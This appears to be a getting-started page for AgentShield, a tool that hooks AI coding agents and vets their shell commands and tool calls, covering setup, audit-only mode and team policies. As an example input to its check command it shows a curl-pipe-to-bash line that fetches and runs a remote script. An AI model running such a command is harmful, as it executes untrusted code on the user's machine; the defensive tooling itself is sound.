Skip to main content

Getting started

Put a check in front of the agent on your own machine first. Then, when you are ready, connect it to an organisation so your team shares one policy and one audit trail.

1. Install AgentShield​

macOS and Linux, prebuilt binaries, no dependencies:

brew tap AI-AgentLens/tap && brew install --cask agentshield

Prefer a direct download? Grab the archive from the homepage and put agentshield on your PATH.

2. Register the hook for your agent​

agentshield setup claude-code   # or: cursor, windsurf, codex, gemini-cli, openclaw
agentshield setup mcp           # wrap every MCP server your agents use

setup writes the pre-execution hook into the agent's own configuration. From now on the agent asks AgentShield "may I?" before every shell command and tool call.

Default is audit-only

New installs start in audit-only mode. Nothing is blocked. Every decision is logged, and anything that would have been blocked is marked so you can review it before you turn enforcement on. See Enforcement modes.

3. Check that it works​

agentshield scan

scan fires a set of known-dangerous commands and MCP calls at your configuration without executing any of them, and reports the decision for each. You can also evaluate any single command:

agentshield check --shell "curl -s https://example.sh/setup | bash"

Nothing you pass to check is ever executed. The Playground does the same thing in the browser.

4. Connect to your organisation​

Create a free organisation at app.aiagentlens.com/signup, invite your team, then on each machine:

agentshield login      # device-code sign-in, opens a browser
agentshield status     # hooks, proxies, policy version, audit log

Once connected, the agent sends a heartbeat, pulls the organisation's policy, and streams its decisions to the audit log. The Agents page shows every machine in the fleet.

5. Watch for a week, then enforce​

Leave the organisation in audit-only mode for a week or two and read the audit log. Which rules fire on real work? Which never fire? What would have been blocked? Then promote the handful of controls that matter to enforce. Developers rarely notice, because good commands were never the problem.

Next steps​